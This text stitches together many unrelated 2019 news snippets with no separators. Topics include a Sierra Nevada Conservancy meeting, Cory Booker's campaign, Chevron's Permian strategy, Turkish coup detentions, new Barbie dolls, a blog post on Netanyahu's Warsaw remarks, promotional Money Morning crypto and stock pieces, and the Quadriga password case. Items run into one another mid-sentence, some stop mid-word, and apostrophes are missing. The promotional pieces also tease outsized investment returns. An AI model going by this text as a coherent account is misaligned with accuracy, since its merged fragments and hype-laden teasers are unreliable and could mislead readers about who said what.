Board Chair Karl Rodefer, speaking to the Sierra Nevada Conservancy officials, and project consultants, concluded, I have never in my life seen anything take so much time to get so little distance down the roadDealing with HUD has been extremely painfulThe message that you delivered today is a good start in a new direction.

The Sierra Nevada Conservancy has agreed to provide quarterly updates on the efforts to meet the upcoming deadlines.

Rodefer added, I dont want anyone to think we are ungrateful for this, but we are not going to be very grateful if we cant execute it.

Rodefer acknowledged that if the project can meet deadlines, it could provide an economic boom, but if not, it will be two years of wasted efforts.Unity. Unity and respect. Those are the themes of Cory Bookers career, and they will be the themes of his campaign.

So said Jim Demers, a key player in New Hampshire Democratic politics, the morning Booker released a video announcing his candidacy. But is Bookers Together We Will Rise slogan the message Democratic primary voters in the divisive era of Donald Trump really want to hear?

Demers says yes.

I talked to him last night, Demers told InsideSources. Sen. Booker called around 9 p.m., right before he went to meet with his minister to share his decision [to run in 2020] with him. He told me how happy and excited he is to get back to New Hampshire.

Demers has been on the Booker bandwagon for months, one of the few prominent Democrats in this key first-in-the-nation primary state openly backing a candidate a year ahead of the primary.

Demers believes Booker has the right mix of progressive policies and compelling personality to do well in the retail-politics arena of New Hampshire.

New Hampshire is a critical state for Sen. Booker. I dont think anyone in the campaign has any illusions about competing in here with candidates with neighboring states in the race. But he will do well here, and a good showing here sets him up well for South Carolina, Demers said.

Booker was certainly enthusiastically received by New Hampshire Democrats in November at the partys post-midterm victory celebration in Manchester, where the fire marshal was forced to send part of the packed crowd into the overflow room. But even Demers acknowledges that Granite State Democrats arent in a rush to pick a nominee.

They are not going to make up their minds early. They want to get this right. They want to know who has the strongest chance to beat Trump, Demers said.

Sen. Bookers message of unity (Hes the author of the book United: Thoughts on Finding Common Ground and Advancing the Common Good) might help him win a general election, pulling independents away from President Trump. But will it help him win Democratic primary voters in progressive electorate more energized by the opportunity to defeat Republicans than reach out to them? An electorate that, according to a recent NHJournal poll, believes Rep. Alexandria Ocasio-Cortez better represents their party today than Sen. Hillary Clinton?

Booker is filing the only lane that hasnt been occupied yet in the field  bringing people together. Its designed to attract moderates and independents, says former Hillary for America senior aide Joel Payne. One pollster I spoke with recently said that candidates should not underestimate voters desire for pragmatism and unity. That appears to be part of the bet that Booker and his team are making from the outset.

Perhaps, but its not showing up in polls as of yet.

So do Democratic primary voters want a unifier, or a fighter? Someone to bring Americans together or to take on Trump?

I believe that on the political Left, those are the same message, Republican pollster Scott Rasmussen tells InsideSources. Our data show that Democrats strongly believe the president is guilty of treason and should be impeached. They have a hard time recognizing that not everybody shares their views. In other words, Democrats believe that opposition to Trump is the unifying message.

I think youve seen a real shift recently, Demers said. People really want the Trump presidency to end. Regardless of party affiliation, they want government to work and they dont see that today They want a country thats united. That will only happen if we have different people leading our country, Demers said.

Michael Graham is political editor of InsideSources and NH Journal. Hes also a CBS News contributor. You can reach him at michael@insidesources.com.PITTSFIELD  A Michigan man was arrested Sunday in Pittsfield and charged with aggravated criminal sexual abuse, according to law enforcement officials.

Nicholas Lojek, 24, of Tawas City, Michigan, is accused of having sexual contact with a girl who was between the ages of 13 and 17, and when he was at least 5 years older than the victim, according to court documents.Rep. Darin LaHood has joined forces with Rep. Dave Loebsack of Iowa in a bipartisan effort to rally other legislators to extend the biodiesel tax credit.

The congressmen sent a letter to lawmakers Monday calling for swift action in the U.S. House to support the more than 60,000 good paying jobs here in the U.S. that are part of the biodiesel industry, according to a news release.CARLINVILLE  Park facilities in Carlinville and Bunker Hill will be enhanced with thousands of dollars in state grants awarded earlier this month.

The Carlinville Park District will receive $400,000 for renovations to the public pool, while Bunker Hill will get $199,400 to improve Mae Meissner Whitaker Park.

The grants are part of the states Open Space Land Acquisition and Development (OSLAD) program, which is administered by the Illinois Department of Natural Resources.

In a prepared statement, state Sen. Andy Manar (D-Bunker Hill) pointed to the impact that the grants will have on public parks in his district.

I am thrilled that these local park projects were found to be worthy of grants from the state of Illinois, said Manar. The investment these communities are making with the help of the state will pay dividends in public enjoyment and community pride.

Regina Byots, the Carlinville Park District administrator, said the funds will be used for multiple improvements to the city pool.

We are going to install a new gutter system, and put in seating on the top of the pool so people can sit all around the edge, said Byots. We also want to put in a new liner and improve the slides, with a bigger area and a deeper well for them. Were also going to expand the concession area.

Byots was particularly excited about one plan, the proposal to remove the baby pool and replace it with a splash pad. A splash pad is a piece of mind for parents, and Ive had a lot of people talk to me about that, she said. Its just amazing that were going to have one in our community now.

We are so excited about this grant, continued Byots. Without this, our pool was in desperate need of repair.

The upgrades will benefit everyone in the community. We have our fitness programs, and the students from the Macoupin County Developmentally Disabled use the pool. There are just so many ways the pool benefits the community.

Byots said she hopes the renovations will begin in August.

In Bunker Hill, Mae Meissner Whitaker Park was constructed while Manar was mayor of the city, a project that was also funded with an OSLAD grant. This latest funding will help the city complete the development of the park.

A total of $28.9 million in funding was distributed through the grant, which will assist 90 different parks in 29 Illinois counties.

Tom Emery may be reached at 217-710-8392 or ilcivilwar@yahoo.com.Horry County Council recently approved tax and fee hikes that will raise the bill of an owner-occupied $200,000 home by $105.80 in most of the unincorporated areas. Inside the city limits, the owner of a $200,000 home would pay $20 more per year (those residents pay separate city taxes). The hikes in the countys nearly $600 million budget will help pay for raises for county workers, additional 911 dispatchers, firefighters and patrol officers, and new stormwater equipment. Do you think county council should have increased taxes? Choices are:

You voted:Alma Goddard with her daughters, Sylvia, 13; Kayla, 8; and Haley and Heidi, 2. The mother, who lives in Murfreesboro but is a Mexican citizen, is stuck in Mexico while trying to interview for a visa.We'll keep you connected to all the updated local news and information about what's happening in Murfreesboro and Rutherford County!

Click Here to Subscribe!Presidents Janet Smith, left, of Columbia State Community College and Sidney A. McPhee of Middle Tennessee State University shake hands after signing an MTSU Promise to Columbia State to ease the transition from college to university Feb. 6 in the MTSU Student Union Ballroom.(Bloomberg) -- For Mike Wirth, the future of Big Oil lies at home, under the dusty fields of West Texas.

As he celebrates his first year as chief executive of Chevron Corp., Wirth sees the Permian Basin as a plentiful source of high-quality crude for years to come, but thats not all. The low break-even costs to pump in the Permian are forcing Chevron to be more efficient everywhere, Wirth said, from the deepwater platforms in the Gulf of Mexico to its liquefied natural gas plants.

In a time of transition, where everyone from politicians to shareholder activists is bashing Big Oil, shales success is forging a new reality, Wirth said: Lower your costs, or die.

Shale has forced us to get smarter about how we do everything else, Wirth said in an interview in Houston. The cost of Gulf of Mexico projects is at "levels we would never have imagined a decade ago," he added. Chevron isnt becoming more efficient because we were dumb then and were smart now. Were doing it because we have to."

RELATED: California company seeks to build $1 billion refinery in Permian Basin

If not, he said, the alternative is to put money into the Permian.

As Wirth prepares to present his new strategy to investors in early March, his message is one of never-ending belt-tightening, always preparing for even lower energy prices and strong competition. Its a lesson than came from his days rising through the oil refining ranks at Chevron: bad margins one year could turn even worse the next.

High Prices

Lets not bet on high prices, Wirth said, sitting in a conference room in the companys Houston offices, with pictures of old Chevron retail logos on the wood-paneled wall behind him. You make your own margin. Some of that comes through innovation and cost discipline. Thats a philosophy I bring to my current role and a belief that just because prices go back up, we shouldnt accept the fact that costs have to go up.

Its a popular theme with shareholders in the energy industry who saw many companies spending billions in mega-projects that never deliver the expected returns. In Chevrons case, investors endured half-a-decade of intense capital spending on developments in the Gulf of Mexico and enormous LNG projects in Australia, only for the oil price to crater in 2014.

Famously, at one Australian venture, Gorgon, costs swelled by almost half to $54 billion.

Everybody was investing in these kinds of things, Wirth said. But its unlikely wed see that confluence of events come together again. I certainly dont see that in the foreseeable future.

Chevrons stock has outperformed U.S. rival Exxon over the past three years but lags European major Royal Dutch Shell Plc. Oil executives have talked about keeping costs low since the 2016 crash but the last quarter was their first real test. Chevron, along with all five western supermajors, beat expectations on earnings, producing strong cash flows in the period despite Brent crudes 38 percent decline. The stock climbed 0.6 percent to $119.43 at 3:30 p.m. in New York.

Investor Day

Wirth declined to specify capital expenditure plans after 2020, a concern for some analysts, but said investors should expect continual disciplined capital allocation. Chevron will announced long-term capital plans at its investor day in New York on March 5. Wirth delivered last years version barely a month into the job.

"We wont fund everything," Wirth said bluntly, describing two deepwater projects Chevron abandoned last year that, a few years ago, it would have invested in. Instead, Chevron is now focusing on the Permian Basin of West Texas and New Mexico, the worlds biggest shale oil field where it inherited a region-leading 2.2 million-acre position as part of its merger with Texaco in 2001.

The area has been transformed from dusty cattle pasture to the supermajors biggest global growth project in just three years. Production has surged 84 percent in the 12 months and now accounts for more than one in every 10 barrels Chevron pumps worldwide. The Permian is on track to be cash flow positive by 2020, Wirth said.

RELATED: Blackstone bets $500 million on growing full-cycle water management trend

Big Oil initially ignored shale oil, not just in the Permian but in North Dakota, Colorado and Oklahoma, with executives instead touting the majors ability to build mega-projects in far distant countries. All that changed with the oil price collapse that started in 2014. Exxon paid $6.5 billion to expand in the Permian in 2017 and BP Plc shelled out $10.5 billion to buy acreage there.

The advantages of the Permian are manifold: a cheap source of production in an oil-friendly jurisdiction, high growth rates, low technical risk and the ability to raise and lower output depending on crude prices.

Chevron is allocating the bulk of its upstream capital expenditure to the Permian this year, which means two-thirds of its annual spending will begin generating cash flow within two years. Thats almost unheard of, and an example of disruption in an industry that typically measures its capital spending and returns over decades.

Protection Mechanism

Its also a protection mechanism against an evolving energy future. Short-term projects are less likely to be stranded if demand or policy changes wipe out investments. Its a risk that weighs on Wirth, though he insists that oil and gas still have a strong future in scenarios laid out in the Paris Agreement on climate change.

Im not one who believes that even the worlds best strategic planners can tell the future, Wirth said. We can build a portfolio and an operating culture thats resilient to change, thats resilient to unforeseen developments. Lets not bet on high prices, lets not bet on a particular technology shift or a policy shift because we cant control those things.

As such, dont expect Chevron to follow European rivals Royal Dutch Shell Plc and Total SA in diversifying into the power utility business as a hedge against declining crude demand.

Some oil and gas companies may choose to reduce their share of oil and gas production and sales over time, Wirth said. Youd like to believe those who are the most efficient, the most capable, the most environmentally responsible are the ones who will be the producers that increasingly the world relies on. Thats a core competency of ours.

(Updates share price above Investor Day subhead.)

To contact the reporter on this story: Kevin Crowley in Houston at kcrowley1@bloomberg.net

To contact the editors responsible for this story: Simon Casey at scasey4@bloomberg.net, Christine Buurma, Catherine Traywick

2019 Bloomberg L.P.Zillow has announced the launch of Zillow Offers in Houston, one of the largest markets nationwide.

"Texas is home to some of the largest and most vibrant housing markets in the country, and we're thrilled to bring Zillow Offers to Houston today," said Jeremy Wacksman, president of Zillow Brand.

Houston is the first Texas market and for Zillow Offers and the seventh nationwide. Zillow Offers is also available in Atlanta, Denver, Las Vegas, Phoenix, Charlotte and Raleigh.Simonsen and Gorman were working on another case nearby when the call came over and they arrived around the same time as other officers, O'Neill said. At first, the front of the store appeared empty, he said.(CNN)  Turkey has ordered the detention of 1,112 people over suspected links to a failed coup attempt, a Ministry of Interior source tells CNN.

Warrants have been issued to those with suspected links to the network of the U.S.-based Muslim cleric Fethullah Gulen, who is accused of orchestrating the attempted coup in 2016, the source said.

The raid is currently ongoing, covering 75 cities across Turkey.

The suspects are accused of having an active role in the 2010 cheating scandal involving an exam police officers must take to become police inspectors.

At least 45 people who are suspected of obtaining the questions prior to taking the exam allegedly hold office in Ankara.

Turkey has made similar detention orders since the failed coup attempt.

This is a developing story and will be updated.

This story was first published on CNN.com, "Turkey orders detention of more than 1,100 people linked to failed 2016 coup."Solo Act

Historically, Vanguard has competed in a league of its own. Its rivals have battled over one segment of the marketplace, while Vanguard has controlled the other all by its lonesome. Only Vanguard treated funds as commodities. If competently run, suggested the company, the performances of funds within a given category converge. What counts are costs. And nobody beat Vanguard for low expenses.

Every other longtime fund company has claimed to possess the secret sauce. Even Dimensional Fund Advisors, long regarded as Vanguard's challenger because it invests according to rules, cites academic sources for its investment approach, and keeps its costs modest, sells performance. In the industry jargon, DFA sells betas (what assets to own) rather than alphas (manager brilliance), but either way, it promises that it knows more than the overall market. Vanguard does not--at least in its passive business, which now accounts for nearly 80% of assets under management.Christine Benz: Hi, I'm Christine Benz from Morningstar.com. Has Vanguard been feeling competitive pressure in the wake of Fidelity's launch of free index funds? Joining me to discuss and other news at Vanguard over the past year is Alec Lucas, he's a senior analyst in Morningstar's manager research group.

Alec, thank you so much for being here.Sheffield Lake City Council approved Feb. 12 legislation to re-zone eight parcels of vacant land on the west side of Abbe Road. The parcels will used to construct storage condos totaling 15,000 square feet.@MJ_JournalRick on Twitter

Richard Payerchin covers Lorain City Hall, business news and other interesting stories for The Morning Journal. Reach the author at rpayerchin@MorningJournal.com or follow Richard on Twitter: @MJ_JournalRick.Sharon Sweda takes the oath of office administered by Lorain County Probate Judge James T. Walther on Feb. 13 surrounded by her husband, Richard Sweda, Laura Irvin and Corey Shawver, before her first Lorain County commission meeting.An Elyria man was sentenced to more than 11 years in prison for illegally having a firearm and ammunition, according to a news release from thIf in quick need for some party, hobby or office supplies, Ritter Public Library, 5680 Liberty Ave. in Vermilion, has its visitors covered.For the second time in six months, Lorain fashion designer Jevon Terance will travel to New York to show off his designs as a part of New York Fashion Week.

With a collection of 30 outfits split between two shows for Street Fashion Week, Terance said switching from dressy to street wear style will appeal to a more everyday audience.

"The last show I did was more glitz and glamour, more dressy," he said. "So, this show is street wear, so it's a good break, especially for our fan base to show them how we style street wear ... I am an everyday designer trying to sell pieces that people can wear every day."

- Advertisement -

Having worked with Paris fashion producer Tiffany McCall during fashion week in September 2018, Terance now will collaborate with Cleveland-based fashion agency Bunny Paige and fashion producer Dan Houseman for the upcoming shows.

"That was the first opportunity in September, so I didn't think or plan on going (to fashion week) in February," Terance said.

By planning back-to-back shows, he said the turnaround time to get another collection ready was short.

"It's funny because I always know in the back of my head to start working on new pieces just to be safe, so that's what I did," Terance said. "You get that itch right after a big show and you're like 'You're supposed to be chilling or relaxing,' and a week later I was working again."

For his newest collection for the show titled "Neon Tokyo," Terance said he drew from his inspiration from Japan.

"I always been inspired by Japanese culture," he said. "I've never been to Japan, so I look at it like this is an interpretation of how I see it, so this is what the style is without being there."

Terence said he hopes to take a trip to Tokyo within the next three years and to later do a part two collection once he's experienced Japanese culture firsthand.

Additionally, Terance and his crew plan to document the trip to New York and all the behind-the-scenes action.

"My big idea is to show a designer documentary, either in 15 or 20 (years) at the (Lorain Palace Theater) and show how the fashion brand has been doing things in Ohio and around the world," he said.DREXEL  Donald Bumgarner, a former Boy Scout Master for a local troop in Drexel, was surprised at the latest Drexel Town Council meeting with having a scout lodge named in his honor.

On Feb. 5, Drexel Mayor Danny Ritchie held the council meeting at Boy Scout Troop 225 hut in Drexel to honor Bumgarner, who is now retired, for his years of service to the local Boy Scout Troop.

As Mayor, there are some parts of this job that may not be the most joyous of things to be doing, but one part of my job that I really appreciate and a m honored to do is when the opportunity arises to recognize and honor one of our citizens, Ritchie said.

He described Bumgarner as someone who works diligently to improve the Town of Drexel.

Not just the town itself, but the citizens  those that grow into being citizens, he said. I have been privileged to not only see this individual in action within this scout troop, but to be a fellow teacher with him.

Bumgarner, with the help of others, made his idea of building a scout hut log cabin come to fruition starting around 1998.My office and I personally have received dozens of phone calls and messages from national and local media outlets as well as angry residents regarding the social media post by a candidate for 1st Ward Alderman. Daniel LaSpata posed with African-American children wearing a banana costume while surrounded by men, supposedly his friends, wearing monkey masks at his bachelor party, Moreno said. I do not need to wait for LaSpatas rationalization of this behavior to state that this type of intolerance and insensitivity has no place in Chicago, the 1st Ward or anywhere. Unlike officials in Virginia who have engaged in similar behavior, LaSpata should not delay his exit from public life.Barbie is expanding its diverse range of dolls to include dolls with disabilities.

For the brand's 60th birthday they have made over the range to include dolls of all different body types, ethnicities and disabilities.

A Barbie in a wheelchair and another with a prosthetic leg will be introduced, Toymaker Mattel said in a statement.

"For 60 years, Barbie has been a reflection of culture and fashion and that is key to the brand's continued relevance," Mattel's global head of design for Barbie Kim Culmone said.

"This year our Barbie line will include dolls reflecting physical disabilities in order to better represent the people and the world kids see around them."

"Our commitment to diversity and inclusion is a critical component of our design process and we are proud that today's kids will know a different image and experience of the brand."

A Barbie in a wheelchair was one of the most requested changes, Ms Culmone said.

The new range is a part of Barbie's Fashionistas line, which was expanded in 2016 to include dolls with four different body types original, tall, curvy and petite as well as seven skin tones and more than 20 different eye colours and hairstyles.

The dolls with disabilities will be available later in 2019.

More from Megan Sutherland at Newshub.February 13, 2019 Netanyahoo Asks Arabs To "Advance The Common Interest Of War With Iran" The U.S. had called for a high level anti-Iran meeting in Poland. The purpose of the meeting was to bring with its allies and poodles into line with the U.S. agenda on Iran, to press them at least into issuing harsher sanctions. But the European rejected that. The State Department then changed the agenda: The idea was to have a conference, a ministerial, and basically break our diplomatic isolation on Iran, said a person familiar with the planning of the event. It started out as an Iran conference in disguise but has probably actually been forced to take on more actual broader Middle East content now." The person added: They changed some of the focus and were forced to pony up with content on Syria and Yemen particularly." The meeting took place today but the European powers did not fall for the trick. They want keep the nuclear agreement with Iran: Even Poland on Tuesday said it disagreed with the U.S. approach to Iran. Foreign Minister Jacek Czaputowicz told reporters the nuclear pact was valuable and expressed hope the conference could help participants find common ground. While the U.S. delegation includes Vice President Mike Pence, Secretary of State Mike Pompeo and senior White House adviser Jared Kushner, other major players have either refused to attend or are sending low-level delegations. The EUs foreign-policy chief, Federica Mogherini, said she had other commitments. Germany and France only sent lower level staff. The British foreign minister will only attend a side session on Yemen. The State Department went to some length to obfuscate the real purpose of the conference. Its press statement today says: The agenda is wide-ranging, and will include a discussion of the Administrations efforts to promote a comprehensive and lasting peace between Israel and the Palestinians, as well as a conversation on how to address ongoing regional humanitarian crises. The Secretary will provide an update on the situation in Syria and discuss other U.S. priorities in the region, including concerns regarding Irans destructive activities. Smaller breakout sessions will provide ministers the opportunity to focus on specific areas of concern such as missile development and proliferation, cyber security and emerging threats, and terrorism and illicit finance. That State Department effort to somewhat hide the real agenda was sabotaged when the Prime Minister of Israel arrived and made it clear what the meeting is all about: I am going to a meeting with 60 foreign ministers and envoys of countries from around the world against Iran. What is important about this meeting  and this meeting is not in secret, because there are many of those  is that this is an open meeting with representatives of leading Arab countries, that are sitting down together with Israel in order to advance the common interest of war with Iran."

[Update 3:40pm] The statement has now been changed into "combating Iran". But that is not what Netanyahoo said in Warsaw and there is video to prove it. There were also witnesses: Aron Heller @aronhellerap 18:44 utc - 13 Feb 2019 Did @netanyahu really say war with Iran? I was there and the word was milchama = war. [End Update] Why is Netanyahoo doing this? No other country, except maybe the U.S., has any interest in waging war on Iran. Certainly not the Arab countries near the Persian Gulf. In case of a war they are all extremely vulnerable to Iranian retaliation. Their oil and gas installations would be in serious danger. The desalination plants which provide their drinking water are all within easy reach of Iranian missiles. By claiming that the conference is about waging war on Iran Netanyahoo is not only embarrassing the State Department and Secretary Mike Pompeo. He also makes it extremely difficult for other attendees to justify their presence. The Arabs will be especially furious that they are shown in such an open alliance with Israel and its hostility against Iran. Scheming with Israel in the dark is fine. But being publicly associated with a war mongering Israel is difficult to sell to their people. It would be unsurprising to see some of them leave. The whole conference is an own goal for the Trump administration. Instead of showing unity with its allies it now only demonstrates the depth or their disagreement. Netanyahoo's statement may help him to win some votes in the upcoming election in Israel. But the hoped for alliance with the Gulf Arabs is now as far off as it has ever been. Posted by b on February 13, 2019 at 20:03 UTC | Permalink CommentsThe Citadel CEO gave $8 million to Rauner a month after his election in 2014, kicking in another $20 million in May 2017 and $2.5 million in December 2017, records show. The $20 million contribution is believed to be the largest single contribution ever given to a campaign by a noncandidate.SMITHERS  Twins are shipwrecked on the coast of Illyria, separated and believing each other to be dead. To find her way in the strange place, the female twin disguises herself as a boy and goes into the service of the duke. The duke sends her to woo a countess for himself.How much do you know about Malta?

I wouldnt be surprised if the answers not much  its a mysterious little nation.

But of all the fascinating countries in the world, I think Malta would have to be my favourite.

Isolated and tranquil, its host to some of the oldest free-standing structures of the world and the earliest inhabited cave of darkness.

It also doesnt have any property taxes. Yippee!

And its beaches are oases of sparkling aqua waters and endless white sands.

No wonder over 1.6 million tourists travel there every year. And yet only its citizens are allowed to park in the capital Vallettas special green spots.

Some of the most picturesque scenes from cinematic history have been shot there, from The Gladiator and Troy to The Da Vinci Code and Game of Thrones.

The Maltese language itself is unique. It sounds like a curious combination of elegant Arabic, French and Italian.

And finally, Maltas known to have a spiritual air to it. In fact, many pilgrims consider Malta to be a sacred spot, due to its beautiful honey-stoned temples, nature reserves and ancient religious relics.

Special report: Discover the five steps everyday Australians can take immediately to potentially boost their retirement savings  in just 30 days.

The Blockchain Island

But what many dont know about this pristine nation, I suspect, is its unofficial status as the Blockchain Island.

And this is why Malta is a crypto enthusiasts paradise (and why its my favourite).

Crypto investors flocked there in droves last year for a massive blockchain summit, and its fast becoming known as a global crypto hub.

Now just last week, the Malta Financial Services Authority (MFSA) has issued a cybersecurity consultation on cybersecurity on the blockchain industry.

If one of Maltas biggest financial authorities is looking into making crypto safer and more secure, its obvious this little nation is in it for the haul.

In the past, Maltese politician Roberta Metsola has spoken highly of blockchains decentralised model, claiming that it provides more security, and is essentially about increasing trust, and delivering more peace of mind.

No other country seems to embrace crypto so openlyso whats going on in the rest of the world?

(And can I move to Malta already?)

Well, not so fast.

Let me explain

After all the hype in 2017, many people thought blockchain had gone and died an early death last year.

But this couldnt be further from the truth.

Blockchain has actually infiltrated the global economy in a really big way. Just not in the ways some of us expected.

The financial industry no longer fears blockchain tech

Its biggest sector right now? The financial industry.

Which is logical but is still strange in a way.

You might remember this was the industry that initially feared powerful technologies like crypto and blockchain.

But now theyve done a 180 and are now beginning to embrace it as the way of the future.

A startling new report from IHS Markit predicts that the finance industry blockchain market will reach $462 billion by 2030.

At this stage, its pretty clear that the global financial market will continue to be the biggest market to use blockchain technology.

Check out this chart:

Data: IHS Markit

[Click to open new window]

Now it seems obvious.

Weve seen story after story of banks and fintech institutions using blockchain to improve their businesses.

And the number of blockchain projects in this sector is only growing.

Cross-border payments, share trading and syndicated lending could all be successfully enabled by blockchain.

But blockchain will also help businesses save more money by increasing the efficiency of internal transactions due to its publicly accessible ledger system.

Just today the press reported a small Aussie broker firm  Halifax  which went broke just before Christmas, may have lost up to $25 million of customer funds by mixing it up with their own funds.

Blockchain technology solves that easily.

Financial institutions that are either in the process of adopting blockchain right now or actively looking into it include GM Financial (General Motors financial arm), and even the Bank of China.

How its unfolding here in Australia

So what about Down Under?

Are we behind or ahead in the blockchain revolution?

Well, a Treasury review is currently considering how to regulate the wild west of blockchain start-ups.

Although the review undeniably looks at the risks, its also looking at the opportunities.

To me, its clear.

The world is finally starting to mobilise. More and more nations and financial institutions are embracing what blockchain has to offer.

One question remains: how quickly will blockchain now take over the rest of the world of business?

Good investing,

Ryan Dinse,

Contributing Editor, Money Morning

PS: How you could potentially pocket a small fortune just by laying down the tiny sum of $100 on this little-known cryptocurrency. Free report (download now).Australian Economy Enjoy a contrarian outlook on the Australian economy  and how movements beyond our borders could affect your stocks, retirement fund or the value of your home. Go here for more.

China Economy Chinas economy has been a powerhouse in recent years. But times are a changing and China, for better or worse, is a subject of heated debate. Are there investment opportunities to be still had from China, and how will they affect your wealth at home? Find out here.

US Economy The US economy is drowning under the weight of its public and private debt. But is it too soon to call the end of this financial, military and political empire? Only time will tell. Either way, you need to make sure your investments are on the right side of the trade.

Eurozone Economy The Eurozone is in a huge mess right now. Can it hold it together or will, one-by-one, member states leave the Euro and go at it on their own? More importantly, what consequences will this have for Australia and your investments? More on that here.

Global Economy Dont just follow the news on the global economy  get an inside peek into whats happening in developed and emerging economies around the world  and what it could mean for your investments. Go here for more.At time of writing, the share price of Environmental Clean Technologies Ltd [ASX:ECT] is up 9.09%, trading at 1.2 cents per share.

All in all it has been a good 12 months for the stock, with significant volatility:

Source: marketindex.com.au

The latest news out of the company is that it has finalised its project bond proposal, so that it can deliver on its obligations under the Research Collaboration Agreement for its India project.

Free report: Aussie stock picker, Sam Volkering (with gains as high as 1,431% in the last 18 months) reveals what he believes are his next four big potential winners.

Project bond provides flexibility for Environmental Clean Tech

The company is on the cusp of advancing its two primary technologies, called Coldry and Matmor, via the largest ever research and development (R&D) collaboration between Australia and India.

Coldry is a low-cost method to dewater brown coal and transform it into a Black Coal Equivalent (BCE) in the form of pellets. Coldry pellets have equal or superior energy value to many black coals and produce lower CO2 emissions than raw lignite.

Matmor on the other hand, is a process that allows the user to recover iron from waste streams such as millscale and nickel tailings.

According to the announcement, the bond is surety for Environmental Clean Techs delivery of services in conjunction with its project partners NLC India Limited and NMDC Limited.

As per the announcement:

NLC India Limited (NLCIL) and NMDC Limited (NMDC) will each contribute half of the capital cost, being ~AUD30 million (~AUD15 million each), plus 51% of the operating cost, being ~AUD2.55 million (~AUD1.275 million each). In addition to the intellectual property, ECT is required to provide a bond to the value of 10% of the project, being ~AUD3.5 million, and contribute 49% of the project-specific operational funding, being ~AUD2.45 million, in addition to leadership of the project engineering and management.

The bond is thus a means of ensuring the project will go ahead through to the commissioning phase without the need to raise capital.

ECT Chairman, Glenn Fozard underlines how: We believe this flexible, equity-backed guarantee, strikes the ideal balance for our shareholders and project partners. We will be talking to our project partners as we proceed towards the commencement of the capital phase, to agree upon the appropriate security mix and how this can be managed across the different stages of the project.

Whats next for Environmental Clean Tech?

The company has provided a useful guide as to how it will proceed to signing and financial close:

Source: newswire

With intellectual property that holds promise for reducing both CO2 emissions and improving the efficiency of industrial processes, the future could be bright for Environmental Clean Tech.

Coal accounts for around 56% of Indias electricity capacity.

It also has ambitions to become a major steel manufacturer.

Regards,

Lachlann Tierney,

For Money Morning

PS: Must read: Sam has already bagged 1,431% in the last 18 months. Could his next four picks be just as lucrative? Click here to download your free report now to find out.Earlier this morning, the share price of Creso Pharma Limited [ASX:CPH] was up 5.33%, trading at 39.5 cents.

Creso Pharma has been in a slide for the last 12 months:

Source: marketindex.com.au

The latest news out of the company is that it will be entering a strategic collaboration with Burleigh Heads Cannabis Pty Ltd. It is also in the process of negotiating two transactions, one regarding its CBD and nutraceutical business and the other involving the acquisition of a European business.

Thinking of adding a pot stock to your portfolio? Get our research on the Top Four Pot Stocks for 2019 for free here.

New partnership spurs Creso Pharma share price

In an announcement today, Creso Pharma confirmed its plans to introduce its cannaQIX50 product to the Australian market via a strategic partnership with Burleigh Heads Cannabis, a subsidiary of Cannabis Doctors Australia Pty Ltd.

The Binding Letter of Intent, that was signed between the two companies, is intended to geographically expand the distribution of cannaQIX50 and subsequently a range of other therapeutic products that are in Creso Pharmas pipeline.

CannaQIX50 is a pharmaceutical grade, CBD-based lozenge that also contains niacin, B vitamins and zinc. It is designed to dissolve in the mouth and is intended to support the management of chronic pain.

CBD, or cannabidiol, is a cannabinoid that does not have intoxicating effects. It is being studied for a variety of therapeutic effects and has shown promise in treatments for anxiety, insomnia, pain and paediatric epilepsy.

The CEO of Creso Pharma, Dr Miri Halperin greeted the news saying, We are really pleased to announce our partnership with Burleigh Heads Cannabis on the expansion of our business in Australia we are looking forward to working together on the introduction of a range of pipeline therapeutic products to be produced by Creso at our production facilities globally.

Creso Pharma provides clarification on two transactions

In earlier news, Creso Pharma provided clarification on two transactions they are in the process of negotiating.

The first is a potential spin out of the companys nutraceutical and CBD business, which would transfer assets into a new ASX-listed company.

The second is the acquisition of a European-based health food business.

These would be big moves for the company, and shares were previously placed in a trading halt on 1 February.

While investors wait for more definitive news on these developments, they may at least be pleased with todays upwards movement in the Creso Pharma share price.

We will keep you updated as the negotiations continue.

Regards,

Lachlann Tierney,

For Money Morning

PS: Get our analysis and research on our Top Four Pot Stocks for 2019 in a free report which is available here.The sudden death of Gerald Cotten, owner of Canada's biggest crypto-currency exchange, Quadriga, has left thousands of investors in a quandary. At the same time, Mr Cotten's death has left security experts and legal professionals searching for answers. The reason is that Quadriga is required to repay money to over 100,000 investors, which was kept in safe custody by Mr Cotten and only he knew the password to access the $145 million in bitcoin and other digital assets.

Mr Cotten's laptop and mobile phone are highly encrypted and, so far, investigators have had limited success in recovering bitcoins and some bit of information from these devices.

This case highlights two issues. One, about the level of encryption and security; and two, inheritance. In Mr Cotten's case, there is apparently no issue about succession as his wife has taken over the reins. However, her affidavit posted on the exchange, says the laptop that Mr Cotten used to run the currency exchange is encrypted. "I do not know the password or recovery key. Despite repeated and diligent searches, I have not been able to find them written down anywhere," she said.

So, unless investigators are able to open and the retrieve locked information, the $145 million are as good as money gone down the drain.

While I would still urge everyone to use robust passwords to secure own digital assets, especially the financial ones, one must also plan to pass on one's digital inheritance to successors. Writing a Will for your digital assets is one such way.

Popular social media and services platforms, like Google, Facebook and Twitter, do offer some help in retrieving accounts of their dead user. But the nominee may not have full rights to operate the inherited account/s.

For example, Facebook allows the user to choose a 'legacy contact' to manage her account after her death. However, the nominee can only add a pinned post (like announcing the death or funeral arrangement) and change the profile and cover photo. The legacy contact cannot log into the account, read messages or add or remove friends.

Google also has an 'inactive account manager' that allows a user to nominate or add a trusted contact who can have access to the data in the account after a certain period of inactivity. Once an account remains inactive for a certain amount of time, Google sends a notification to the trusted contact. If the user has chosen to share data with her trusted contact, the notification mail from Google will inform about the data that can be accessed by the nominee.

Twitter, however, allows only the legal successor to deactivate the user account and nothing else.

In July 2018, in a landmark order, the Federal Constitutional Court in Karlsruhe in southwest Germany had allowed a woman access to the Facebook account of her 15-year-old daughter, who was killed in an accident in an underground train in Berlin, in 2012.

For passing on digital inheritance, there are a few other options like using password vaults and digital inheritance services. The password vault service-providers store multiple passwords that can be sent to the designated person after the death of the user. A few of them send periodic emails to the user to check if the user is alive. If there is no response to multiple mails (depends on the service-providers criteria), the passwords are shared with the designated person(s). The service-provider can ask for an authentic death certificate and verify the death claim with two persons.

Some serviceproviders, like DigiPulse, offer to pass on social accounts and digital crypto-currencies to the legal heirs or person(s) designated by the user. Mylennium from Eclectic Electric also offers digital estate planning and executor services. All the services mentioned above are paid services.

However, there are no explicit legal provisions in most countries, including India, on digital inheritance. The reason for this is the absence of a clear definition in laws to include digital estate which may also include outstanding debts and intellectual property rights.

